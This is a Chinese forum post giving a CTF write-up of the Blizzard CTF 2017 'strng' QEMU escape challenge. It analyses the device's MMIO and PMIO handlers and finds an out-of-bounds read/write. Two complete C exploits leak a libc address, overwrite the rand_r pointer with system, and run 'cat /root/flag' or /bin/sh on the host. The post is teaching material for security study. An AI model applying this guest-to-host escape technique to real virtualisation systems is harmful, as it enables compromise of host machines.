首页
社区
课程
招聘
qemu pwn Blizzard-CTF-2017-Strng
2020-4-28 17:55 9810

qemu pwn Blizzard-CTF-2017-Strng

2020-4-28 17:55
9810

1. 描述

调试过程参考链接https://ray-cp.github.io/archivers/qemu-pwn-Blizzard-CTF-2017-Strng-writeup
感谢raycp大神

 

题目源码的链接为Blizzard CTF 2017,是qemu逃逸题,flag文件在宿主机中的路径为/root/flag。
题目的下载路径为https://github.com/rcvalle/blizzardctf2017/releases,启动的命令如下,可以把它保存到launsh.sh中,用sudo ./launsh.sh启动。

1
2
3
4
5
6
7
8
9
10
./qemu-system-x86_64 \
    -m 1G \
    -device strng \
    -hda my-disk.img \
    -hdb my-seed.img \
    -nographic \
    -L pc-bios/ \
    -enable-kvm \
    -device e1000,netdev=net0 \
    -netdev user,id=net0,hostfwd=tcp::5555-:22

命令参数说明

1
2
3
4
5
6
7
8
9
10
11
12
13
-device driver[,prop[=value][,...]]
                add device (based on driver)
                prop=value,... sets driver properties
                use '-device help' to print all possible drivers
                use '-device driver,help' to print all possible properties
-hda/-hdb file  use 'file' as IDE hard disk 0/1 image
-L path         set the directory for the BIOS, VGA BIOS and keymaps
 
-netdev user,id=str[,net=addr[/mask]][,host=addr][,restrict=on|off]
         [,hostname=host][,dhcpstart=addr][,dns=addr][,dnssearch=domain][,tftp=dir]
         [,bootfile=f][,hostfwd=rule][,guestfwd=rule][,smb=dir[,smbserver=addr]]
                configure a user mode network backend with ID 'str',
                its DHCP server and optional services

该虚拟机是一个Ubuntu Server 14.04 LTS,用户名是ubuntu,密码是passw0rd。因为它把22端口重定向到了宿主机的5555端口,所以可以使用ssh ubuntu@127.0.0.1 -p 5555登进去。

2. 分析

sudo ./launsh.sh启动虚拟机,使用用户名是ubuntu,密码是passw0rd进去虚拟机。

 

通过启动命令中的-device strng,我们在IDA中搜索strng相关函数,可以看到相应的函数。
图片描述

2.1 结构体STRNGState

首先是设备的结构体STRNGState 的定义:
在local_type窗口找到了
图片描述
可以看到它里面存在一个regs数组,大小为256(64*4),后面跟三个函数指针。

2.2 pci_strng_register_types

1
2
3
4
void __cdecl pci_strng_register_types()
{
  type_register_static(&strng_info_25910);
}

pci_strng_register_types会注册由用户提供的TypeInfo,查看该函数并找到了它的TypeInfo,跟进去看到了strng_class_init以及strng_instance_init函数。
图片描述

2.2.1 strng_class_init函数 !!!

然后先看strng_class_init函数,代码如下(将变量k的类型设置为PCIDeviceClass*):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void __fastcall strng_class_init(ObjectClass *a1, void *data)
{
  PCIDeviceClass *k; // rax
 
  k = (PCIDeviceClass *)object_class_dynamic_cast_assert( 获取子类对象
                          a1,
                          "pci-device",
                          "/home/rcvalle/qemu/hw/misc/strng.c",
                          154,
                          "strng_class_init");
  k->device_id = 0x11E9;
  k->revision = 0x10;
  k->realize = (void (*)(PCIDevice_0 *, Error_0 **))pci_strng_realize;
  k->class_id = 0xFF;
  k->vendor_id = 0x1234;
}

2.2.2 查看设备信息

2.2.2.1 lspci !!!

1
2
3
4
5
6
7
8
ubuntu@ubuntu:~$ lspci
00:00.0 Host bridge: Intel Corporation 440FX - 82441FX PMC [Natoma] (rev 02)
00:01.0 ISA bridge: Intel Corporation 82371SB PIIX3 ISA [Natoma/Triton II]
00:01.1 IDE interface: Intel Corporation 82371SB PIIX3 IDE [Natoma/Triton II]
00:01.3 Bridge: Intel Corporation 82371AB/EB/MB PIIX4 ACPI (rev 03)
00:02.0 VGA compatible controller: Device 1234:1111 (rev 02)
00:03.0 Unclassified device [00ff]: Device 1234:11e9 (rev 10) 要分析的设备!!!
00:04.0 Ethernet controller: Intel Corporation 82540EM Gigabit Ethernet Controller (rev 03)

可以看到class_init中设置其device_id为0x11e9,vendor_id为0x1234。对应到上面lspci得到的信息,可以知道设备为00:03.0,查看其详细信息:

1
2
3
4
5
6
7
ubuntu@ubuntu:~$ lspci -v -s 00:03.0
00:03.0 Unclassified device [00ff]: Device 1234:11e9 (rev 10)
        Subsystem: Red Hat, Inc Device 1100
        Physical Slot: 3
        Flags: fast devsel
        Memory at febf1000 (32-bit, non-prefetchable) [size=256]
        I/O ports at c050 [size=8]

可以看到有MMIO地址为0xfebf1000,大小为256;PMIO地址为0xc050,总共有8个端口。

2.2.2.2 resource

然后查看resource文件:

1
2
3
4
root@ubuntu:~# cat /sys/devices/pci0000\:00/0000\:00\:03.0/resource
0x00000000febf1000 0x00000000febf10ff 0x0000000000040200
0x000000000000c050 0x000000000000c057 0x0000000000040101
0x0000000000000000 0x0000000000000000 0x0000000000000000

resource0对应的是MMIO,而resource1对应的是PMIO。resource中数据格式是start-address end-address flags。

2.2.2.3 /proc/ioports /proc/iomem

也可以查看/proc/ioports来查看各个设备对应的I/O端口,/proc/iomem查看其对应的I/O memory地址(需要用root帐号查看,否则看不到端口或地址):

1
2
3
4
5
6
7
ubuntu@ubuntu:~$ sudo cat /proc/iomem
...
  febf1000-febf10ff : 0000:00:03.0
...
ubuntu@ubuntu:~$ sudo cat /proc/ioports
...
  c050-c057 : 0000:00:03.0

2.2.2.4 /sys/devices

/sys/devices其对应的设备下也有相应的信息,如deviceid和vendorid等:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ubuntu@ubuntu:~$ ls /sys/devices/pci0000\:00/0000\:00\:03.0
broken_parity_status      enable         power      subsystem_device
class                     firmware_node  remove     subsystem_vendor
config                    irq            rescan     uevent
consistent_dma_mask_bits  local_cpulist  resource   vendor
d3cold_allowed            local_cpus     resource0
device                    modalias       resource1
dma_mask_bits             msi_bus        subsystem
ubuntu@ubuntu:~$ cat /sys/devices/pci0000\:00/0000\:00\:03.0/class
0x00ff00
ubuntu@ubuntu:~$ cat /sys/devices/pci0000\:00/0000\:00\:03.0/vendor
0x1234
ubuntu@ubuntu:~$ cat /sys/devices/pci0000\:00/0000\:00\:03.0/device
0x11e9

2.3 strng_class_init->pci_strng_realize !!!

然后去看pci_strng_realize,该函数注册了MMIO和PMIO空间,包括mmio的操作结构strng_mmio_ops及其大小256;pmio的操作结构体strng_pmio_ops及其大小8。注意将第一个参数类型改为STRNGState *。
图片描述
strng_mmio_ops中有访问mmio对应的strng_mmio_read以及strng_mmio_write;strng_pmio_ops中有访问pmio对应的strng_pmio_read以及strng_pmio_write,下面将详细分析这两部分,一般来说,设备的问题也容易出现在这两个部分。

2.4 MMIO

图片描述

2.4.1 strng_mmio_read

注意第一个参数类型改为STRNGState *,读入addr将其右移两位,作为regs的索引返回该寄存器的值。
图片描述

2.4.2 strng_mmio_write

注意第一个参数类型改为STRNGState *。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
void __fastcall strng_mmio_write(STRNGState *opaque, hwaddr addr, uint32_t val, unsigned int size)
{
  hwaddr i; // rsi
  uint32_t v5; // ST08_4
  uint32_t v6; // eax
  unsigned __int64 v7; // [rsp+18h] [rbp-20h]
 
  v7 = __readfsqword(0x28u);
  if ( size == 4 && !(addr & 3) )
  {
    i = addr >> 2;
    if ( (_DWORD)i == 1 )
    {
      opaque->regs[1] = opaque->rand(opaque, i, val);
    }
    else if ( (unsigned int)i < 1 )
    {
      if ( __readfsqword(0x28u) == v7 )
        opaque->srand(val);
    }
    else
    {
      if ( (_DWORD)i == 3 )
      {
        v5 = val;
        v6 = ((__int64 (__fastcall *)(uint32_t *))opaque->rand_r)(&opaque->regs[2]);
        //这个函数指针可以被改掉system,其中opaque->regs[2]存放参数cat /root/flag
        val = v5;
        opaque->regs[3] = v6;
      }
      opaque->regs[(unsigned int)i] = val;
    }
  }
}

当size等于4时,将addr右移两位得到寄存器的索引i,并提供4个功能:
当i为0时,调用srand函数但并不给赋值给内存。
当i为1时,调用rand得到随机数并赋值给regs[1]。
当i为3时,调用rand_r函数,并使用regs[2]的地址作为参数,并最后将返回值赋值给regs[3]。
其余则直接将传入的val值赋值给regs[i]。
看起来似乎是addr可以由我们控制,可以使用addr来越界读写regs数组。即如果传入的addr大于regs的边界,那么我们就可以写到后面的函数指针了。但是事实上是不可以的,前面已经知道了mmio空间大小为256,我们传入的addr是不能大于mmio的大小;因为pci设备内部会进行检查,而刚好regs的大小为256,所以我们无法通过mmio进行越界写。

2.4.3 编程访问MMIO!!!

实现对MMIO空间的访问,比较便捷的方式就是使用mmap函数将设备的resource0文件映射到内存中,再进行相应的读写即可实现MMIO的读写,典型代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
unsigned char* mmio_mem;
 
void mmio_write(uint32_t addr, uint32_t value)
{
    *((uint32_t*)(mmio_mem + addr)) = value;
}
 
uint32_t mmio_read(uint32_t addr)
{
    return *((uint32_t*)(mmio_mem + addr));
}
 
int main(int argc, char *argv[])
{
 
    // Open and map I/O memory for the strng device
    int mmio_fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0", O_RDWR | O_SYNC);
    if (mmio_fd == -1)
        die("mmio_fd open failed");
 
    mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    if (mmio_mem == MAP_FAILED)
        die("mmap mmio_mem failed");
}

2.4.4 编程访问MMIO 方法2!!!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
uint32_t strng_mmio_read(uint64_t addr) {
    assert(!(addr&3));
    uint32_t val = readm32(strng_mmio_map+addr);
    return val;
}
 
void strng_mmio_write(uint64_t addr, uint32_t val) {
    assert(!(addr&3));
    writem32(strng_mmio_map+addr, val);
}
int main(int argc, char const* argv[]) {
    int devmem_fd;
 
    if (0 != iopl(3)) {
        die("iopl");
    }
 
    devmem_fd = open("/dev/mem", O_RDWR | O_SYNC);
    if (devmem_fd < 0) {
        die("open /dev/mem");
    }
 
    strng_mmio_map = (uint64_t)mmap((void *)0, STRNG_MMIO_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, devmem_fd, STRNG_MMIO_BASE);
    if (!strng_mmio_map) {
        die("mmap mmio");
    }
    close(devmem_fd);

2.5 PMIO

图片描述
通过前面的分析我们知道strng有八个端口,端口起始地址为0xc050,相应的通过strng_pmio_read和strng_pmio_write去读写。

2.5.1 strng_pmio_read

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
uint64_t __fastcall strng_pmio_read(STRNGState *opaque, hwaddr addr, unsigned int size)
{
  uint64_t result; // rax
  uint32_t reg_addr; // edx
 
  result = -1LL;
  if ( size == 4 )
  {
    if ( addr )
    {
      if ( addr == 4 )
      {
        reg_addr = opaque->addr; 索引来自opaque->addr
        if ( !(reg_addr & 3) )
          result = opaque->regs[reg_addr >> 2]; 这里可以越界读函数指针
      }
    }
    else
    {
      result = opaque->addr;
    }
  }
  return result;
}

当端口地址为0时直接返回opaque->addr,否则将opaque->addr右移两位作为索引i,返回regs[i]的值,比较关注的是这个opaque->addr在哪里赋值,它在下面的strng_pmio_write中被赋值。

2.5.2 strng_pmio_write

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
void __fastcall strng_pmio_write(STRNGState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
  uint32_t reg_addr; // eax
  __int64 idx; // rax
  unsigned __int64 v6; // [rsp+8h] [rbp-10h]
 
  v6 = __readfsqword(0x28u);
  if ( size == 4 )
  {
    if ( addr )
    {
      if ( addr == 4 )
      {
        reg_addr = opaque->addr; 地址赋值
        if ( !(reg_addr & 3) )
        {
          idx = reg_addr >> 2;
          if ( (_DWORD)idx == 1 )
          {
            opaque->regs[1] = opaque->rand(opaque, 4LL, val);
          }
          else if ( (unsigned int)idx < 1 )
          {
            if ( __readfsqword(0x28u) == v6 )
              opaque->srand((unsigned int)val);
          }
          else if ( (_DWORD)idx == 3 )
          {
            opaque->regs[3] = opaque->rand_r(&opaque->regs[2], 4LL, val);
          }
          else
          {
            opaque->regs[idx] = val; 越界写函数指针
          }
        }
      }
    }
    else
    {
      opaque->addr = val; 如果addr=0,那么直接给opaque->addr赋值
    }
  }
}

当size等于4时,以传入的端口地址为判断提供4个功能:
当端口地址为0时,直接将传入的val赋值给opaque->addr。
当端口地址不为0时,将opaque->addr右移两位得到索引i,分为三个功能:
i为0时,执行srand,返回值不存储。
i为1时,执行rand并将返回结果存储到regs[1]中。
i为3时,调用rand_r并将regs[2]作为第一个参数,返回值存储到regs[3]中。
否则直接将val存储到regs[idx]中。
可以看到PMIO与MMIO的区别在于索引regs数组时,PMIO并不是由直接传入的端口地址addr去索引的;而是由opaque->addr去索引,而opaque->addr的赋值是我们可控的(端口地址为0时,直接将传入的val赋值给opaque->addr)。因此regs数组的索引可以为任意值,即可以越界读写。
越界读则是首先通过strng_pmio_write去设置opaque->addr,然后再调用pmio_read去越界读。
越界写则是首先通过strng_pmio_write去设置opaque->addr,然后仍然通过pmio_write去越界写。

2.5.3 编程访问PMIO!!!

UAFIO描述说有三种方式访问PMIO,这里仍给出一个比较便捷的方法去访问,即通过IN以及 OUT指令去访问。可以使用IN和OUT去读写相应字节的1、2、4字节数据(outb/inb, outw/inw, outl/inl),函数的头文件为<sys/io.h>,函数的具体用法可以使用man手册查看。
还需要注意的是要访问相应的端口需要一定的权限,程序应使用root权限运行。对于0x000-0x3ff之间的端口,使用ioperm(from, num, turn_on)即可;对于0x3ff以上的端口,则该调用执行iopl(3)函数去允许访问所有的端口(可使用man ioperm 和man iopl去查看函数)。
典型代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
uint32_t pmio_base=0xc050;
 
uint32_t pmio_write(uint32_t addr, uint32_t value)
{
    outl(value,addr);
}
 
uint32_t pmio_read(uint32_t addr)
{
    return (uint32_t)inl(addr);
}
 
int main(int argc, char *argv[])
{
 
    // Open and map I/O memory for the strng device
    if (iopl(3) !=0 )
        die("I/O permission is not enough");
        pmio_write(pmio_base+0,0);
    pmio_write(pmio_base+4,1);
 
}

3. 利用

3.1 首先是利用pmio来进行任意读写。

3.1.1 越界读

首先使用strng_pmio_write设置opaque->addr,即当addr为0时,传入的val会直接赋值给opaque->addr;然后再调用strng_pmio_read,就会去读regs[val>>2]的值,实现越界读,代码如下:

1
2
3
4
5
uint32_t pmio_arbread(uint32_t offset)
{
    pmio_write(pmio_base+0,offset);
    return pmio_read(pmio_base+4);
}

3.1.2 越界写

仍然是首先使用strng_pmio_write设置opaque->addr,即当addr为0时,传入的val会直接赋值给opaque->addr;然后调用strng_pmio_write,并设置addr为4,即会去将此次传入的val写入到regs[val>>2]中,实现越界写,代码如下:

1
2
3
4
5
void pmio_abwrite(uint32_t offset, uint32_t value)
{
    pmio_write(pmio_base+0,offset);
    pmio_write(pmio_base+4,value);
}

3.2 完整的利用过程为:

使用strng_mmio_write将cat /root/flag写入到regs[2]开始的内存处,用于后续作为参数。
使用越界读漏洞,读取regs数组后面的srand地址,根据偏移计算出system地址。
使用越界写漏洞,覆盖regs数组后面的rand_r地址,将其覆盖为system地址。
最后使用strng_mmio_write触发执行opaque->rand_r(&opaque->regs[2])函数,从而实现system("cat /root/flag")的调用,拿到flag。

3.3 调试

将完整流程描述了一遍以后,再说下怎么调试。
sudo ./launsh.sh将虚拟机跑起来以后,在本地将exp用命令make编译通过,makefile内容比较简单:

3.3.1 makefile

1
2
ALL:
        cc -m32 -O0 -static -o exp exp.c

3.3.2 exp.c

原来的exp存在以下问题,经过改造成功执行。

  1. libc偏移不一样。
  2. 不需要泄露堆地址,不过学习到了STRNGState对象位于host堆中。
  3. 应该后面放cat /root/flag参数,否则前面会覆盖掉。
    图片描述
    第一种exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
/*
Author: raycp
File: exp.c
Description: exp for BlizzardCTF2017-Strng, out-of-bound access with pmio
Date: 2019-08-04
*/
 
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include<sys/io.h>
 
unsigned char* mmio_mem;
uint32_t pmio_base=0xc050;
 
void die(const char* msg)
{
    perror(msg);
    exit(-1);
}
 
void mmio_write(uint32_t addr, uint32_t value)
{
    *((uint32_t*)(mmio_mem + addr)) = value;
}
 
uint32_t mmio_read(uint32_t addr)
{
    return *((uint32_t*)(mmio_mem + addr));
}
 
uint32_t pmio_write(uint32_t addr, uint32_t value)
{
    outl(value,addr);
}
 
 
uint32_t pmio_read(uint32_t addr)
{
    return (uint32_t)inl(addr);
}
 
uint32_t pmio_arbread(uint32_t offset)
{
    pmio_write(pmio_base+0,offset);
    return pmio_read(pmio_base+4);
}
 
void pmio_abwrite(uint32_t offset, uint32_t value)
{
    pmio_write(pmio_base+0,offset);
    pmio_write(pmio_base+4,value);
}
 
int main(int argc, char *argv[])
{
 
    // Open and map I/O memory for the strng device
    int mmio_fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0", O_RDWR | O_SYNC);
    if (mmio_fd == -1)
        die("mmio_fd open failed");
 
    mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    if (mmio_mem == MAP_FAILED)
        die("mmap mmio_mem failed");
 
    printf("mmio_mem @ %p\n", mmio_mem);
 
 
    // Open and map I/O memory for the strng device
    if (iopl(3) !=0 )
        die("I/O permission is not enough");
 
 
    // leaking libc address
    //result = opaque->regs[reg_addr >> 2]; 0x108>>2=0x42
    /*
    gdb-peda$ x/xi 0x7ffff65268d0
    0x7ffff65268d0 <__srandom>:  sub    rsp,0x8
    gdb-peda$ x/xw $rdi+0x41*4+0xaf4
    0x555557e224a8: 0xf65268d0
    gdb-peda$ x/xw $rdi+0x42*4+0xaf4
    0x555557e224ac: 0x00007fff
    */
    //puts("leak srandom\n");
    //getchar();
    uint64_t srandom_addr=pmio_arbread(0x108); //0x7fff
    srandom_addr=srandom_addr<<32;
    srandom_addr+=pmio_arbread(0x104);
    printf("leaking srandom addr: 0x%llx\n",srandom_addr);
 
    /*
    gdb-peda$ vmmap libc
    Start              End                Perm      Name
    0x00007ffff64ec000 0x00007ffff66ac000 r-xp      /lib/x86_64-linux-gnu/libc-2.23.so
    gdb-peda$ p/0x7ffff65268d0-0x00007ffff64ec000
    $8 = 0x3a8d0
    gdb-peda$ x/i system
    0x7ffff6531390 <__libc_system>:      test   rdi,rdi
    gdb-peda$ p/x 0x7ffff6531390-0x00007ffff64ec000
    $9 = 0x45390
    */
    uint64_t libc_base= srandom_addr-0x00043cd0;//0x3a8d0;
    uint64_t system_addr= libc_base+0x0004f550;//0x45390;
    printf("libc base: 0x%llx\n",libc_base);
    printf("system addr: 0x%llx\n",system_addr);
 
    // leaking heap address
    /*
    gdb-peda$ x/10xg 0x555557e218b0+0x1d4+0x18+0xaf4
    0x555557e22590: 0x0000555557e225e0      0x0000555557e22600
    0x555557e225a0: 0x0000000000000000      0x0000555555a5b5b0
    0x555557e225b0: 0x0000555555a5b630      0x0000000000000000
    0x555557e225c0: 0x0000555555a5b210      0x0000555557e22570
    0x555557e225d0: 0x0000000000000000      0x0000000000000021
    gdb-peda$ p/x 0x1d4+0x18
    $2 = 0x1ec
    gdb-peda$ vmmap heap
    Start              End                Perm      Name
    0x000055555610a000 0x0000555558182000 rw-p      [heap]
    gdb-peda$ p/x 0x0000555557e225e0 -0x000055555610a000
    $3 = 0x1d185e0
    gdb-peda$ p/0x555557e218b0+0xaf4+0x8-0x000055555610a000
    $4 = 0x1d183ac
    */
    /*
    uint64_t heap_addr=pmio_arbread(0x1f0);
    heap_addr=heap_addr<<32;
    heap_addr+=pmio_arbread(0x1ec);
    printf("leaking heap addr: 0x%llx\n",heap_addr- 0x1d185e0);
 
    uint64_t para_addr=heap_addr+0x1d183ac;
    printf("parameter addr: 0x%llx\n",para_addr);
    */
 
    // overwrite rand_r pointer to system
    //Python>hex(0xc08-0xaf4)=0x114
    pmio_abwrite(0x114,system_addr&0xffffffff);
 
    //In [84]: enhex(b'cat /root/flag')
    //Out[84]: '636174202f726f6f742f666c6167'
    mmio_write(8,0x20746163);
    mmio_write(12,0x6f6f722f);
    mmio_write(16,0x6c662f74);
    mmio_write(20,0x6761);
 
    puts("see cat flag\n b *strng_mmio_write\n"); //这里可以看提前放好的参数cat /root/flag
    getchar();
    mmio_write(0xc,0);
 
 
}

第二种exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/io.h>
#include <assert.h>
 
#define LOG(...) printf(__VA_ARGS__)
 
void die(const char* msg) {
    perror(msg);
    _exit(-1);
}
 
void hexdump(uint8_t *mem, size_t len) {
    for (size_t i = 1; i <= len; i++) {
        printf("%02x ", mem[i-1]);
        if (i % 16 == 0)
            printf("\n");
        else if (i % 8 == 0)
            printf("  ");
    }
}
 
#define STRNG_MMIO_BASE 0xfebf1000
#define STRNG_MMIO_SIZE 0x100
 
#define STRNG_PMIO_BASE 0x000000000000c050
#define STRNG_PMIO_SIZE 0x8
 
uint64_t strng_mmio_map = 0x0;
 
uint32_t readm32(uint64_t addr) {
    return *(uint32_t *)addr;
}
 
void writem32(uint64_t addr, uint32_t val) {
    *(uint32_t *)addr = val;
}
 
uint32_t strng_mmio_read(uint64_t addr) {
    assert(!(addr&3));
    uint32_t val = readm32(strng_mmio_map+addr);
    return val;
}
 
void strng_mmio_write(uint64_t addr, uint32_t val) {
    assert(!(addr&3));
    writem32(strng_mmio_map+addr, val);
}
 
uint32_t strng_pmio_read(uint64_t addr) {
    assert(addr == 4 || addr == 0);
    return inl(STRNG_PMIO_BASE+addr);
}
 
void strng_pmio_write(uint64_t addr, uint32_t val) {
    assert(addr == 4 || addr == 0);
    outl(val, STRNG_PMIO_BASE+addr);
}
 
int main(int argc, char const* argv[]) {
    int devmem_fd;
 
    if (0 != iopl(3)) {
        die("iopl");
    }
 
    devmem_fd = open("/dev/mem", O_RDWR | O_SYNC);
    if (devmem_fd < 0) {
        die("open /dev/mem");
    }
 
    strng_mmio_map = (uint64_t)mmap((void *)0, STRNG_MMIO_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, devmem_fd, STRNG_MMIO_BASE);
    if (!strng_mmio_map) {
        die("mmap mmio");
    }
    close(devmem_fd);
 
#if 0
    strng_mmio_write(0x40, 0xdeadbeef);
    uint32_t val = strng_mmio_read(0x40);
    printf("0x%016x", val);
#endif
 
    // /bin/sh
    strng_pmio_write(0, 0x8);
    strng_pmio_write(4, 0x41414141); // junk
    strng_pmio_write(0, 0xc);
    strng_pmio_write(4, 0x41414141); // junk
    strng_pmio_write(0, 0x10);
    strng_pmio_write(4, 0x69622f3b); // ';/bin/sh'
    strng_pmio_write(0, 0x14);
    strng_pmio_write(4, 0x68732f6e); // ';/bin/sh'
 
    // leak
    strng_pmio_write(0, 0x108);
    uint64_t libc_srand = strng_pmio_read(4);
    libc_srand = (libc_srand << 32);
    strng_pmio_write(0, 0x104);
    libc_srand += strng_pmio_read(4);
    printf("libc_srand 0x%016llx\n", libc_srand);
 
    uint64_t libc_base = libc_srand - 0x00043cd0;//0x3a820;
    uint64_t libc_system = libc_base + 0x0004f550;//0x449c0;
 
    // rewrite with system
    strng_pmio_write(0, 0x114);
    strng_pmio_write(4, libc_system&0xffffffff);
    strng_pmio_write(0, 0x118);
    strng_pmio_write(4, libc_system>>32);
    getchar();
    // invoke system
    strng_pmio_write(0, 0xc);
    strng_pmio_write(4, 0);
 
    return 0;
}

然后host使用命令
scp -P5555 exp ubuntu@127.0.0.1:/home/ubuntu
将exp拷贝到虚拟机中。
若要调试qemu以查看相应的流程,host机器可以使用
ps -ax|grep qemu
找到相应的进程;再
sudo gdb ./qemu-system-x86_64 -p pidof qemu-system-x86_64
上去,然后在里面下断点查看想观察的数据,示例如下:
发现经常会因为stop signal断下,所以加上
handle SIGSTOP nostop

 

断点如下:
b strng_pmio_write
b strng_pmio_read
b strng_mmio_write
b strng_pmio_read
然后在虚拟机中执行sudo ./exp执行exp,就可以愉快的调试了。


[培训]内核驱动高级班,冲击BAT一流互联网大厂工 作,每周日13:00-18:00直播授课

最后于 2021-7-2 15:57 被nicaicaiwo编辑 ,原因:
收藏
点赞3
打赏
分享
最新回复 (3)
雪    币: 12129
活跃值: (15560)
能力值: ( LV12,RANK:240 )
在线值:
发帖
回帖
粉丝
pureGavin 2 2020-4-28 18:48
2
0
mark,希望楼主能直接把内容贴到论坛里方便查看
雪    币: 1552
活跃值: (1288)
能力值: ( LV9,RANK:160 )
在线值:
发帖
回帖
粉丝
nicaicaiwo 2 2020-4-28 19:07
3
0
贴论坛太麻烦了
雪    币: 32403
活跃值: (18860)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
kanxue 8 2020-4-29 11:20
4
0
nicaicaiwo 贴论坛太麻烦了[em_85]
看雪论坛编辑器很好用,支持MD和富文本,就像word一样,直接贴图,非常方便。建议下次还是帖论坛,会提升帖子被关注的概率。
游客
登录 | 注册 方可回帖
返回